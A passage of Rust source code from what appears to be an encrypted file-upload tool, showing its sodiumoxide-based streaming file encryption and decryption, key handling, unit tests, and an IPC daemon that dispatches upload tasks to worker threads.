crate::config::{EncryptConfig, DecryptConfig}; 6 | use crate::crypto::stream::{CryptoReader, CryptoWriter}; 7 | use crate::errors::*; 8 | use crate::temp; 9 | use humansize::{FileSize, file_size_opts}; 10 | use std::fs::{self, File, OpenOptions}; 11 | use std::io::prelude::*; 12 | use std::path::Path; 13 | use walkdir::WalkDir; 14 | 15 | pub mod header; 16 | pub mod stream; 17 | pub mod upload; 18 | 19 | pub fn decode_pubkey(pubkey: &str) -> Result { 20 | let pubkey = base64::decode(pubkey) 21 | .context("Failed to base64 decode public key")?; 22 | PublicKey::from_slice(&pubkey) 23 | .ok_or_else(|| format_err!("Wrong length for public key")) 24 | } 25 | 26 | pub fn decode_seckey(seckey: &str) -> Result { 27 | let seckey = base64::decode(seckey) 28 | .context("Failed to base64 decode secret key")?; 29 | SecretKey::from_slice(&seckey) 30 | .ok_or_else(|| format_err!("Wrong length for secret key")) 31 | } 32 | 33 | fn walk(paths: &[String], f: F) -> Result<()> 34 | where 35 | F: Fn(&Path) -> Result<()> 36 | { 37 | for path in paths { 38 | for entry in WalkDir::new(path) { 39 | let entry = entry?; 40 | if entry.file_type().is_file() { 41 | let path = entry.path(); 42 | if let Err(e) = f(path) { 43 | error!("error: {}", e); 44 | } 45 | } 46 | } 47 | } 48 | Ok(()) 49 | } 50 | 51 | pub fn run_encrypt(args: Args) -> Result<()> { 52 | let config = EncryptConfig::load(&args)?; 53 | 54 | walk(&args.paths, |path| { 55 | let (_, temp_path) = temp::partial_path(&path) 56 | .context("Failed to get partial path")?; 57 | 58 | info!("encrypting {:?}", path); 59 | let mut r = File::open(path)?; 60 | let mut f = OpenOptions::new() 61 | .write(true) 62 | .create_new(true) 63 | .open(&temp_path)?; 64 | 65 | let mut w = CryptoWriter::init(&mut f, &config.pubkey, config.seckey.as_ref())?; 66 | 67 | let mut size = 0; 68 | let mut buf = [0u8; stream::CHUNK_SIZE]; 69 | let mut out = Vec::with_capacity(buf.len() + secretstream::ABYTES); 70 | loop { 71 | let n = r.read(&mut buf)?; 72 | if n == 0 { 73 | break; 74 | } 75 | w.push(&buf[..n], n != stream::CHUNK_SIZE, &mut out)?; 76 | f.write_all(&out)?; 77 | size += n; 78 | } 79 | 80 | let size = size.file_size(file_size_opts::CONVENTIONAL) 81 | .map_err(|e| format_err!("{}", e))?; 82 | 83 | debug!("finishing encryption {:?} -> {:?} ({})", temp_path, path, size); 84 | fs::rename(temp_path, path) 85 | .context("Failed to move temp file to final destination")?; 86 | 87 | Ok(()) 88 | }) 89 | } 90 | 91 | pub fn run_decrypt(args: Args) -> Result<()> { 92 | let config = DecryptConfig::load(&args)?; 93 | 94 | walk(&args.paths, |path| { 95 | debug!("peeking into {:?}", path); 96 | let file = File::open(path)?; 97 | if let Some(mut r) = CryptoReader::init(file, &config.seckey, config.pubkey.as_ref())? { 98 | info!("decrypting {:?}", path); 99 | 100 | let (_, temp_path) = temp::partial_path(&path) 101 | .context("Failed to get partial path")?; 102 | let mut w = OpenOptions::new() 103 | .write(true) 104 | .create_new(true) 105 | .open(&temp_path)?; 106 | 107 | let mut size = 0; 108 | let mut buf = Vec::with_capacity(stream::CHUNK_SIZE); 109 | while r.is_not_finalized() { 110 | buf.clear(); 111 | r.pull(&mut buf)?; 112 | w.write_all(&buf)?; 113 | size += buf.len(); 114 | } 115 | 116 | let size = size.file_size(file_size_opts::CONVENTIONAL) 117 | .map_err(|e| format_err!("{}", e))?; 118 | 119 | debug!("finishing decryption {:?} -> {:?} ({})", temp_path, path, size); 120 | fs::rename(temp_path, path) 121 | .context("Failed to move temp file to final destination")?; 122 | } 123 | Ok(()) 124 | }) 125 | } 126 | 127 | pub fn run_keygen(_args: Args) -> Result<()> { 128 | let (pk, sk) = box_::gen_keypair(); 129 | let pk = base64::encode(&pk); 130 | let sk = base64::encode(&sk); 131 | println!("[crypto]"); 132 | println!("#pubkey = {:?}", pk); 133 | println!("seckey = {:?}", sk); 134 | Ok(()) 135 | } 136 | -------------------------------------------------------------------------------- /src/crypto/shim.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use crate::errors::*; 3 | use std::io::Read; 4 | use std::marker::PhantomData; 5 | 6 | pub type PublicKey = (); 7 | pub type SecretKey = (); 8 | 9 | pub mod upload { 10 | use std::io; 11 | use super::*; 12 | 13 | pub struct EncryptedUpload { 14 | phantom: PhantomData, 15 | } 16 | 17 | impl EncryptedUpload { 18 | pub fn new(_: R, _: &PublicKey, _: Option<&SecretKey>) -> Result> { 19 | unimplemented!() 20 | } 21 | 22 | pub fn total_with_overhead(&self, _: u64) -> u64 { 23 | unimplemented!() 24 | } 25 | } 26 | 27 | impl io::Read for EncryptedUpload { 28 | fn read(&mut self, _buf: &mut [u8]) -> io::Result { 29 | unimplemented!() 30 | } 31 | } 32 | } 33 | 34 | pub fn decode_pubkey(_key: &str) -> Result { 35 | unimplemented!() 36 | } 37 | 38 | pub fn decode_seckey(_key: &str) -> Result { 39 | unimplemented!() 40 | } 41 | 42 | pub fn run_encrypt(_: Args) -> Result<()> { 43 | unimplemented!() 44 | } 45 | 46 | pub fn run_decrypt(_: Args) -> Result<()> { 47 | unimplemented!() 48 | } 49 | 50 | pub fn run_keygen(_: Args) -> Result<()> { 51 | unimplemented!() 52 | } 53 | -------------------------------------------------------------------------------- /src/crypto/stream.rs: -------------------------------------------------------------------------------- 1 | use crate::crypto::header; 2 | use crate::errors::*; 3 | use sodiumoxide::crypto::box_::{SecretKey, PublicKey}; 4 | use sodiumoxide::crypto::secretstream::{self, Header, Stream, Push, Pull, Tag, ABYTES}; 5 | use std::io::prelude::*; 6 | 7 | pub const CHUNK_SIZE: usize = 4096; 8 | 9 | pub struct CryptoReader { 10 | r: T, 11 | header: header::Header, 12 | stream: Stream, 13 | } 14 | 15 | impl CryptoReader { 16 | pub fn init(mut r: T, seckey: &SecretKey, pubkey: Option<&PublicKey>) -> Result>> { 17 | let (nonce, pk, header) = match CryptoReader::read_header(&mut r) { 18 | Ok(h) => h, 19 | Err(_) => return Ok(None), 20 | }; 21 | 22 | // in strict mode, ensure the pubkey is the one we expect 23 | if let Some(pubkey) = pubkey { 24 | if *pubkey != pk { 25 | bail!("Header is signed by untrusted publickey"); 26 | } 27 | } 28 | 29 | let header = header::decrypt(&nonce, &pk, &header, seckey)?; 30 | 31 | let next_header = CryptoReader::read_next_header(&mut r)?; 32 | let stream = header.open_stream_pull(&next_header)?; 33 | 34 | Ok(Some(CryptoReader { 35 | r, 36 | header, 37 | stream, 38 | })) 39 | } 40 | 41 | fn read_header(r: &mut T) -> Result { 42 | let mut intro = [0u8; header::HEADER_INTRO_LEN]; 43 | r.read_exact(&mut intro) 44 | .context("Failed to read encryption header intro")?; 45 | 46 | let (nonce, pk, len) = header::parse_intro(&intro)?; 47 | 48 | let mut header = vec![0u8; len as usize]; 49 | r.read_exact(&mut header) 50 | .context("Failed to read encryption header body")?; 51 | 52 | Ok((nonce, pk, header)) 53 | } 54 | 55 | fn read_next_header(r: &mut T) -> Result
{ 56 | let mut buf = [0u8; secretstream::HEADERBYTES]; 57 | r.read_exact(&mut buf) 58 | .context("Failed to read next header")?; 59 | 60 | secretstream::Header::from_slice(&buf) 61 | .ok_or_else(|| format_err!("Invalid secretstream header")) 62 | } 63 | 64 | pub fn filename(&self) -> Option<&String> { 65 | self.header.name.as_ref() 66 | } 67 | 68 | pub fn pull(&mut self, out: &mut Vec) -> Result<()> { 69 | let mut buf = [0u8; CHUNK_SIZE + ABYTES]; 70 | let n = self.r.read(&mut buf)?; 71 | if n == 0 { 72 | bail!("Unexpected end of file"); 73 | } 74 | debug!("read {} bytes from file", n); 75 | 76 | let tag = self.stream.pull_to_vec(&buf[..n], None, out) 77 | .map_err(|_| format_err!("Failed to decrypt secretstream chunk"))?; 78 | debug!("decrypted {} bytes, tag={:?}", out.len(), tag); 79 | 80 | Ok(()) 81 | } 82 | 83 | pub fn is_not_finalized(&self) -> bool { 84 | self.stream.is_not_finalized() 85 | } 86 | } 87 | 88 | pub struct CryptoWriter { 89 | stream: Stream, 90 | } 91 | 92 | impl CryptoWriter { 93 | pub fn init(mut w: T, pubkey: &PublicKey, seckey: Option<&SecretKey>) -> Result { 94 | let key = secretstream::gen_key(); 95 | 96 | let header = header::Header { 97 | key: key.0.to_vec(), 98 | name: None, 99 | }; 100 | let header = header.encrypt(pubkey, seckey)?; 101 | w.write_all(&header)?; 102 | 103 | let (stream, header) = Stream::init_push(&key).unwrap(); 104 | w.write_all(&header.0)?; 105 | 106 | Ok(CryptoWriter { 107 | stream, 108 | }) 109 | } 110 | 111 | pub fn push(&mut self, buf: &[u8], is_final: bool, w: &mut Vec) -> Result<()> { 112 | let tag = if !is_final { 113 | Tag::Message 114 | } else { 115 | Tag::Final 116 | }; 117 | 118 | debug!("encrypting {} bytes, tag={:?}", buf.len(), tag); 119 | self.stream.push_to_vec(buf, None, tag, w) 120 | .map_err(|_| format_err!("Failed to write to secretstream"))?; 121 | debug!("wrote {} bytes to file", w.len()); 122 | 123 | Ok(()) 124 | } 125 | } 126 | 127 | #[cfg(test)] 128 | mod tests { 129 | use sodiumoxide::crypto::box_; 130 | use super::*; 131 | 132 | fn sec() -> SecretKey { 133 | SecretKey::from_slice(&[ 134 | 75, 34, 106, 31, 123, 150, 128, 79, 208, 89, 61, 66, 53, 35, 62, 111, 135 | 41, 78, 178, 55, 187, 47, 244, 155, 61, 206, 49, 130, 219, 28, 104, 5, 136 | ]).unwrap() 137 | } 138 | 139 | const FILE: &[u8] = &[ 140 | 0x00, 0x23, 0x42, 0x52, 0x43, 0x48, 0x44, 0x00, 0xf5, 0x6c, 0x3b, 0x42, 141 | 0x1f, 0xd2, 0x81, 0x7c, 0x4e, 0x4b, 0x43, 0x1f, 0x9d, 0x16, 0x02, 0x0d, 142 | 0x8d, 0xd4, 0x61, 0xba, 0xe2, 0x55, 0xf8, 0x83, 0xbd, 0xea, 0x08, 0xc8, 143 | 0x52, 0x31, 0x13, 0xfe, 0xa6, 0x6f, 0x31, 0x9d, 0x20, 0xad, 0xfc, 0x7f, 144 | 0xec, 0xb2, 0xa4, 0x31, 0x7a, 0xe6, 0x6e, 0xb1, 0xe7, 0x50, 0x06, 0xae, 145 | 0x95, 0x14, 0x31, 0x4f, 0x00, 0x44, 0x0d, 0x6a, 0x6f, 0x76, 0xfb, 0xd2, 146 | 0xee, 0x60, 0x37, 0xe3, 0xeb, 0x67, 0xec, 0x37, 0x4c, 0x9c, 0x3e, 0xc9, 147 | 0x7c, 0xb8, 0xbf, 0x0e, 0xa8, 0x4c, 0x09, 0x3f, 0xf1, 0x30, 0xba, 0xc7, 148 | 0xc1, 0xde, 0x20, 0xc1, 0xa2, 0x32, 0x50, 0xed, 0x60, 0xaa, 0x4d, 0x1a, 149 | 0xa1, 0xc3, 0x52, 0x1e, 0x6e, 0xdb, 0x1f, 0xfc, 0x6e, 0x06, 0x27, 0xf1, 150 | 0x73, 0x69, 0xf3, 0x6d, 0xb7, 0x38, 0x47, 0xcc, 0xad, 0x62, 0xc6, 0x2e, 151 | 0x01, 0x13, 0x1c, 0xd0, 0xa1, 0x25, 0xbf, 0xad, 0xbf, 0x0e, 0xa8, 0x4d, 152 | 0x5c, 0x31, 0xf8, 0x67, 0xa1, 0x3a, 0x1d, 0x7d, 0xac, 0x79, 0x20, 0xc7, 153 | 0xf5, 0xa6, 0xcc, 0xcd, 0xa4, 0xc3, 0xd0, 0x9b, 0x1f, 0xc0, 0xce, 0x67, 154 | 0x7f, 0xda, 0xfb, 0xe4, 0xcb, 0x53, 0xa7, 0x33, 0x9a, 0x49, 0xdb, 0x8f, 155 | 0x66, 156 | ]; 157 | 158 | // this function is tests-only until we actually need it somewhere 159 | // we can also drop this if sodiumoxide stops clearing the Vec 160 | fn push_append(cw: &mut CryptoWriter, buf: &[u8], is_final: bool, w: &mut Vec) -> Result<()> { 161 | let mut out = Vec::new(); 162 | cw.push(buf, is_final, &mut out)?; 163 | w.extend(out); 164 | Ok(()) 165 | } 166 | 167 | #[test] 168 | fn roundtrip() { 169 | let sk = sec(); 170 | let pk = sk.public_key(); 171 | 172 | let mut file = Vec::new(); 173 | let mut w = CryptoWriter::init(&mut file, &pk, None).unwrap(); 174 | push_append(&mut w, b"ohai!\n", true, &mut file).unwrap(); 175 | 176 | let mut cur = std::io::Cursor::new(&file); 177 | let mut r = CryptoReader::init(&mut cur, &sk, None).unwrap().unwrap(); 178 | assert!(r.is_not_finalized()); 179 | 180 | let mut buf = Vec::new(); 181 | r.pull(&mut buf).unwrap(); 182 | assert!(!r.is_not_finalized()); 183 | 184 | assert_eq!(&buf, b"ohai!\n"); 185 | } 186 | 187 | #[test] 188 | fn decrypt() { 189 | let sk = sec(); 190 | 191 | let mut cur = std::io::Cursor::new(FILE); 192 | let mut r = CryptoReader::init(&mut cur, &sk, None).unwrap().unwrap(); 193 | assert!(r.is_not_finalized()); 194 | 195 | let mut buf = Vec::new(); 196 | r.pull(&mut buf).unwrap(); 197 | assert!(!r.is_not_finalized()); 198 | 199 | assert_eq!(&buf, b"ohai!\n"); 200 | } 201 | 202 | #[test] 203 | fn trailing_data() { 204 | let sk = sec(); 205 | 206 | let mut buf = Vec::from(FILE); 207 | buf.push(123); 208 | 209 | let mut cur = std::io::Cursor::new(&buf); 210 | let mut r = CryptoReader::init(&mut cur, &sk, None).unwrap().unwrap(); 211 | assert!(r.is_not_finalized()); 212 | 213 | let mut buf = Vec::new(); 214 | let r = r.pull(&mut buf); 215 | assert!(r.is_err()); 216 | } 217 | 218 | #[test] 219 | fn empty_file() { 220 | let sk = sec(); 221 | let mut cur = std::io::Cursor::new(&[]); 222 | let r = CryptoReader::init(&mut cur, &sk, None).unwrap(); 223 | assert!(r.is_none()); 224 | } 225 | 226 | #[test] 227 | fn missing_header_body() { 228 | let sk = sec(); 229 | let mut cur = std::io::Cursor::new(&FILE[..header::HEADER_INTRO_LEN]); 230 | let r = CryptoReader::init(&mut cur, &sk, None).unwrap(); 231 | assert!(r.is_none()); 232 | } 233 | 234 | #[test] 235 | fn missing_next_header() { 236 | let sk = sec(); 237 | 238 | let intro = header::parse_intro(&FILE[..header::HEADER_INTRO_LEN]).unwrap(); 239 | let len = header::HEADER_INTRO_LEN + intro.2 as usize; 240 | let mut cur = std::io::Cursor::new(&FILE[..len]); 241 | let r = CryptoReader::init(&mut cur, &sk, None); 242 | assert!(r.is_err()); 243 | } 244 | 245 | #[test] 246 | fn missing_stream() { 247 | let sk = sec(); 248 | 249 | let intro = header::parse_intro(&FILE[..header::HEADER_INTRO_LEN]).unwrap(); 250 | let len = header::HEADER_INTRO_LEN + intro.2 as usize + secretstream::HEADERBYTES; 251 | let mut cur = std::io::Cursor::new(&FILE[..len]); 252 | let mut r = CryptoReader::init(&mut cur, &sk, None).unwrap().unwrap(); 253 | 254 | let mut buf = Vec::new(); 255 | let r = r.pull(&mut buf); 256 | assert!(r.is_err()); 257 | } 258 | 259 | #[test] 260 | fn init_only_writes_header() { 261 | let sk = sec(); 262 | let pk = sk.public_key(); 263 | 264 | let mut file = Vec::new(); 265 | let _w = CryptoWriter::init(&mut file, &pk, None).unwrap(); 266 | assert_eq!(file.len(), 158); 267 | } 268 | 269 | #[test] 270 | fn authenticated_crypto_roundtrip() { 271 | let (our_pk, our_sk) = box_::gen_keypair(); 272 | let (their_pk, their_sk) = box_::gen_keypair(); 273 | 274 | let mut file = Vec::new(); 275 | let mut w = CryptoWriter::init(&mut file, &their_pk, Some(&our_sk)).unwrap(); 276 | push_append(&mut w, b"ohai!\n", true, &mut file).unwrap(); 277 | 278 | let mut cur = std::io::Cursor::new(&file); 279 | let mut r = CryptoReader::init(&mut cur, &their_sk, Some(&our_pk)).unwrap().unwrap(); 280 | assert!(r.is_not_finalized()); 281 | 282 | let mut buf = Vec::new(); 283 | r.pull(&mut buf).unwrap(); 284 | assert!(!r.is_not_finalized()); 285 | 286 | assert_eq!(&buf, b"ohai!\n"); 287 | } 288 | 289 | #[test] 290 | fn authenticated_crypto_encrypt() { 291 | let (our_pk, our_sk) = box_::gen_keypair(); 292 | let (their_pk, _their_sk) = box_::gen_keypair(); 293 | 294 | let mut file = Vec::new(); 295 | let mut w = CryptoWriter::init(&mut file, &their_pk, Some(&our_sk)).unwrap(); 296 | push_append(&mut w, b"ohai!\n", true, &mut file).unwrap(); 297 | 298 | assert_eq!(&file[32..64], &our_pk.0) 299 | } 300 | 301 | #[test] 302 | fn authenticated_crypto_decrypt_strict_key() { 303 | let sk = sec(); 304 | let (pk, _) = box_::gen_keypair(); 305 | 306 | let mut cur = std::io::Cursor::new(FILE); 307 | let r = CryptoReader::init(&mut cur, &sk, Some(&pk)); 308 | assert!(r.is_err()); 309 | } 310 | } 311 | -------------------------------------------------------------------------------- /src/crypto/upload.rs: -------------------------------------------------------------------------------- 1 | use crate::crypto::stream::{self, CryptoWriter}; 2 | use crate::errors::*; 3 | use sodiumoxide::crypto::box_::{PublicKey, SecretKey}; 4 | use sodiumoxide::crypto::secretstream; 5 | use std::io; 6 | use std::io::prelude::*; 7 | 8 | pub struct EncryptedUpload { 9 | inner: R, 10 | header_len: u64, 11 | stream: CryptoWriter, 12 | buf: Vec, 13 | cursor: usize, 14 | eof: bool, 15 | } 16 | 17 | impl EncryptedUpload { 18 | pub fn new(inner: R, pubkey: &PublicKey, seckey: Option<&SecretKey>) -> Result> { 19 | let mut buf = Vec::new(); 20 | let stream = CryptoWriter::init(&mut buf, pubkey, seckey)?; 21 | let header_len = buf.len() as u64; 22 | 23 | Ok(EncryptedUpload { 24 | inner, 25 | header_len, 26 | stream, 27 | buf, 28 | cursor: 0, 29 | eof: false, 30 | }) 31 | } 32 | 33 | pub fn total_with_overhead(&self, total: u64) -> u64 { 34 | let carry = (total % stream::CHUNK_SIZE as u64) + secretstream::ABYTES as u64; 35 | let total = (total / stream::CHUNK_SIZE as u64) * (stream::CHUNK_SIZE + secretstream::ABYTES) as u64; 36 | self.header_len + total + carry 37 | } 38 | 39 | fn fill_bytes(&mut self) -> io::Result<()> { 40 | // refill buffer 41 | let mut buf = [0u8; stream::CHUNK_SIZE]; 42 | let n = self.inner.read(&mut buf)?; 43 | 44 | if n != stream::CHUNK_SIZE { 45 | self.eof = true; 46 | } 47 | 48 | // reset our cursor 49 | self.cursor = 0; 50 | self.stream.push(&buf[..n], self.eof, &mut self.buf) 51 | .map_err(|e| io::Error::new(io::ErrorKind::Other, e))?; 52 | 53 | Ok(()) 54 | } 55 | 56 | fn cursor(&self) -> &[u8] { 57 | &self.buf[self.cursor..] 58 | } 59 | } 60 | 61 | impl Read for EncryptedUpload { 62 | fn read(&mut self, mut out: &mut [u8]) -> io::Result { 63 | let mut n = 0; 64 | 65 | while (!self.eof || !self.cursor().is_empty()) && !out.is_empty() { 66 | // check if we need to refill our buffer 67 | if !self.eof && self.cursor().is_empty() { 68 | trace!("buffering encrypted bytes"); 69 | self.fill_bytes()?; 70 | } 71 | 72 | // copy from our buffer into the read buffer 73 | let buf = self.cursor(); 74 | let len = std::cmp::min(buf.len(), out.len()); 75 | let len = Read::read(&mut &buf[..len], &mut out[..len])?; 76 | 77 | out = &mut out[len..]; 78 | self.cursor += len; 79 | n += len; 80 | } 81 | 82 | Ok(n) 83 | } 84 | } 85 | 86 | #[cfg(test)] 87 | mod tests { 88 | use crate::crypto::stream::CryptoReader; 89 | use sodiumoxide::crypto::box_; 90 | use std::io::Cursor; 91 | use super::*; 92 | 93 | #[test] 94 | fn verify_calculated_total_short_file() { 95 | let len = 16; 96 | let bytes = sodiumoxide::randombytes::randombytes(len); 97 | 98 | let r = Cursor::new(bytes); 99 | let (pk, _sk) = box_::gen_keypair(); 100 | let mut upload = EncryptedUpload::new(r, &pk, None).unwrap(); 101 | let estimated = upload.total_with_overhead(len as u64); 102 | 103 | let mut encrypted = Vec::new(); 104 | upload.read_to_end(&mut encrypted).unwrap(); 105 | assert_eq!(encrypted.len() as u64, estimated); 106 | } 107 | 108 | #[test] 109 | fn verify_calculated_total_long_file() { 110 | let len = 1024 * 1024 * 16; 111 | let bytes = sodiumoxide::randombytes::randombytes(len); 112 | 113 | let r = Cursor::new(bytes); 114 | let (pk, _sk) = box_::gen_keypair(); 115 | let mut upload = EncryptedUpload::new(r, &pk, None).unwrap(); 116 | let estimated = upload.total_with_overhead(len as u64); 117 | 118 | let mut encrypted = Vec::new(); 119 | upload.read_to_end(&mut encrypted).unwrap(); 120 | assert_eq!(encrypted.len() as u64, estimated); 121 | } 122 | 123 | #[test] 124 | fn encrypt_into_buf_decrypt_short() { 125 | let bytes = sodiumoxide::randombytes::randombytes(16); 126 | 127 | // encrypt 128 | let r = Cursor::new(&bytes); 129 | let (pk, sk) = box_::gen_keypair(); 130 | let mut upload = EncryptedUpload::new(r, &pk, None).unwrap(); 131 | 132 | let mut encrypted = Vec::new(); 133 | upload.read_to_end(&mut encrypted).unwrap(); 134 | 135 | // decrypt 136 | let r = Cursor::new(encrypted); 137 | let mut r = CryptoReader::init(r, &sk, None).unwrap().unwrap(); 138 | 139 | let mut decrypted: Vec = Vec::new(); 140 | let mut buf = Vec::new(); 141 | while r.is_not_finalized() { 142 | r.pull(&mut buf).unwrap(); 143 | decrypted.extend(&buf); 144 | } 145 | 146 | // compare 147 | assert_eq!(decrypted, bytes); 148 | } 149 | 150 | #[test] 151 | fn encrypt_into_buf_decrypt_long() { 152 | let bytes = sodiumoxide::randombytes::randombytes(1024 * 1024 * 16); 153 | 154 | // encrypt 155 | let r = Cursor::new(&bytes); 156 | let (pk, sk) = box_::gen_keypair(); 157 | let mut upload = EncryptedUpload::new(r, &pk, None).unwrap(); 158 | 159 | let mut encrypted = Vec::new(); 160 | upload.read_to_end(&mut encrypted).unwrap(); 161 | 162 | // decrypt 163 | let r = Cursor::new(encrypted); 164 | let mut r = CryptoReader::init(r, &sk, None).unwrap().unwrap(); 165 | 166 | let mut decrypted: Vec = Vec::new(); 167 | let mut buf = Vec::new(); 168 | while r.is_not_finalized() { 169 | r.pull(&mut buf).unwrap(); 170 | decrypted.extend(&buf); 171 | } 172 | 173 | // compare 174 | assert_eq!(decrypted, bytes); 175 | } 176 | } 177 | -------------------------------------------------------------------------------- /src/daemon.rs: -------------------------------------------------------------------------------- 1 | use bufstream::BufStream; 2 | use crate::args::Args; 3 | use crate::config::DaemonConfig; 4 | use crate::errors::*; 5 | use crate::ipc::{self, IpcServer, IpcMessage}; 6 | use crate::uploader::Worker; 7 | use crate::queue::Task; 8 | use crate::status::{Status, ProgressUpdate}; 9 | use crossbeam_channel::{self as channel, select}; 10 | use std::collections::VecDeque; 11 | use std::io::prelude::*; 12 | use std::thread; 13 | use std::time::Duration; 14 | 15 | #[derive(Debug)] 16 | pub enum Command { 17 | Subscribe(channel::Sender), 18 | PopQueue(channel::Sender), 19 | PushQueue(Task), 20 | FetchQueue(channel::Sender>), 21 | ProgressUpdate(ProgressUpdate), 22 | Shutdown, 23 | } 24 | 25 | pub struct Server { 26 | rx: channel::Receiver, 27 | queue: VecDeque, 28 | queue_size: u64, 29 | total_workers: usize, 30 | idle_workers: VecDeque>, 31 | subscribers: Vec>, 32 | status: Status, 33 | shutdown: bool, 34 | } 35 | 36 | impl Server { 37 | pub fn new(rx: channel::Receiver, total_workers: usize) -> Server { 38 | Server { 39 | rx, 40 | queue: VecDeque::new(), 41 | queue_size: 0, 42 | total_workers, 43 | idle_workers: VecDeque::new(), 44 | subscribers: Vec::new(), 45 | status: Status::default(), 46 | shutdown: false, 47 | } 48 | } 49 | 50 | pub fn add_subscriber(&mut self, tx: channel::Sender) { 51 | debug!("adding new subscriber"); 52 | tx.send(IpcMessage::StatusResp(self.status.clone())).ok(); 53 | self.subscribers.push(tx); 54 | } 55 | 56 | fn ping_subscribers(&mut self) { 57 | trace!("pinging all subscribers"); 58 | self.broadcast_subscribers(&IpcMessage::Ping); 59 | } 60 | 61 | fn update_progress(&mut self, update: ProgressUpdate) { 62 | self.status.update(update); 63 | self.broadcast_subscribers(&IpcMessage::StatusResp(self.status.clone())); 64 | } 65 | 66 | fn update_stats(&mut self) { 67 | self.status.idle_workers = self.idle_workers.len(); 68 | self.status.total_workers = self.total_workers; 69 | self.status.queue = self.queue.len(); 70 | self.status.queue_size = self.queue_size; 71 | self.broadcast_subscribers(&IpcMessage::StatusResp(self.status.clone())); 72 | } 73 | 74 | fn broadcast_subscribers(&mut self, msg: &IpcMessage) { 75 | let before = self.subscribers.len(); 76 | self.subscribers.retain(|c| c.send(msg.clone()).is_ok()); 77 | let after = self.subscribers.len(); 78 | 79 | if before > after { 80 | debug!("disconnected {} subscribers", before - after); 81 | } 82 | } 83 | 84 | fn pop_queue(&mut self, worker: channel::Sender) -> bool { 85 | if let Some(task) = self.queue.pop_front() { 86 | self.queue_size -= task.size; 87 | debug!("assigning task to worker: {:?}", task); 88 | worker.send(task).expect("worker thread died"); 89 | } else { 90 | debug!("parking worker thread as idle"); 91 | self.idle_workers.push_back(worker); 92 | } 93 | self.update_stats(); 94 | 95 | // check if we are supposed to shutdown the server 96 | self.shutdown && self.queue.is_empty() && self.idle_workers.len() == self.total_workers 97 | } 98 | 99 | fn push_work(&mut self, task: Task) { 100 | if let Some(worker) = self.idle_workers.pop_front() { 101 | debug!("assigning task to worker: {:?}", task); 102 | worker.send(task).expect("worker thread died"); 103 | } else { 104 | debug!("adding task to queue"); 105 | self.queue_size += task.size; 106 | self.queue.push_back(task); 107 | } 108 | self.update_stats(); 109 | } 110 | 111 | fn fetch_queue(&mut self, worker: channel::Sender>) { 112 | let queue = self.queue.iter().cloned().collect(); 113 | worker.send(queue).expect("worker thread died"); 114 | } 115 | 116 | pub fn run(&mut self) { 117 | loop { 118 | select! { 119 | recv(self.rx) -> msg => { 120 | debug!("received from channel: {:?}", msg); 121 | match msg { 122 | Ok(Command::Subscribe(tx)) => self.add_subscriber(tx), 123 | Ok(Command::PopQueue(tx)) => if self.pop_queue(tx) { 124 | break; 125 | }, 126 | Ok(Command::PushQueue(task)) => self.push_work(task), 127 | Ok(Command::FetchQueue(tx)) => self.fetch_queue(tx), 128 | Ok(Command::ProgressUpdate(update)) => self.update_progress(update), 129 | Ok(Command::Shutdown) => self.shutdown = true, 130 | Err(_) => break, 131 | } 132 | } 133 | default(Duration::from_secs(60)) => self.ping_subscribers(), 134 | } 135 | } 136 | } 137 | } 138 | 139 | struct Client { 140 | stream: BufStream, 141 | tx: channel::Sender, 142 | } 143 | 144 | impl Client { 145 | fn new(tx: channel::Sender, stream: S) -> Client { 146 | let stream = BufStream::new(stream); 147 | Client { 148 | stream, 149 | tx, 150 | } 151 | } 152 | 153 | #[inline] 154 | fn read_line(&mut self) -> Result> { 155 | ipc::read(&mut self.stream) 156 | } 157 | 158 | #[inline] 159 | fn write_line(&mut self, msg: &IpcMessage) -> Result<()> { 160 | ipc::write(&mut self.stream, msg) 161 | } 162 | 163 | fn write_server(&self, cmd: Command) { 164 | self.tx.send(cmd).unwrap(); 165 | } 166 | 167 | fn subscribe_loop(&mut self) -> Result<()> { 168 | let (tx, rx) = channel::unbounded(); 169 | self.write_server(Command::Subscribe(tx)); 170 | 171 | for msg in rx { 172 | if self.write_line(&msg).is_err() { 173 | break; 174 | } 175 | } 176 | 177 | Ok(()) 178 | } 179 | 180 | fn run(&mut self) -> Result<()> { 181 | while let Some(msg) = self.read_line()? { 182 | debug!("received from client: {:?}", msg); 183 | match msg { 184 | IpcMessage::Ping => bail!("Unexpected ipc message"), 185 | IpcMessage::Subscribe => self.subscribe_loop()?, 186 | IpcMessage::StatusResp(_) => bail!("Unexpected ipc message"), 187 | 188 | IpcMessage::QueueReq => { 189 | let (tx, rx) = channel::unbounded(); 190 | self.write_server(Command::FetchQueue(tx)); 191 | let queue = rx.recv().unwrap(); 192 | let msg = IpcMessage::QueueResp(queue); 193 | if self.write_line(&msg).is_err() { 194 | break; 195 | } 196 | }, 197 | IpcMessage::QueueResp(_) => bail!("Unexpected ipc message"), 198 | 199 | IpcMessage::PushQueue(task) => { 200 | self.write_server(Command::PushQueue(task)); 201 | }, 202 | 203 | IpcMessage::Shutdown => bail!("Unexpected ipc message"), 204 | } 205 | } 206 | debug!("ipc client disconnected"); 207 | Ok(()) 208 | } 209 | } 210 | 211 | fn accept(tx: channel::Sender, stream: S) { 212 | debug!("accepted ipc connection"); 213 | let mut client = Client::new(tx, stream); 214 | if let Err(err) = client.run() { 215 | error!("ipc connection failed: {}", err); 216 | } 217 | } 218 | 219 | pub fn run(args: &Args) -> Result<()> { 220 | let config = DaemonConfig::load(&args)?; 221 | let listener = IpcServer::bind(&config.socket) 222 | .context("Failed to create ipc server")?; 223 | 224 | let total_workers = config.concurrency; 225 | let (tx, rx) = channel::unbounded(); 226 | for _ in 0..total_workers { 227 | let tx = tx.clone(); 228 | let mut worker = Worker::new(tx, 229 | config.destination.clone(), 230 | config.path_format.clone(), 231 | config.proxy.clone(), 232 | args.accept_invalid_certs, 233 | config.pubkey, 234 | config.seckey.clone()) 235 | .context("Failed to create worker")?; 236 | thread::spawn(move || { 237 | worker.run(); 238 | }); 239 | } 240 | 241 | thread::spawn(move || { 242 | let mut server = Server::new(rx, total_workers); 243 | server.run(); 244 | }); 245 | 246 | info!("ready to accept connections"); 247 | loop { 248 | let stream = listener.accept() 249 | .context("Failed to accept ipc client")?; 250 | let tx = tx.clone(); 251 | thread::spawn(|| accept(tx, stream)); 252 | } 253 | } 254 | -------------------------------------------------------------------------------- /src/destination.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use crate::pathspec::UploadContext; 3 | use crate::temp; 4 | use humansize::{FileSize, file_size_opts}; 5 | use std::io; 6 | use std::io::prelude::*; 7 | use 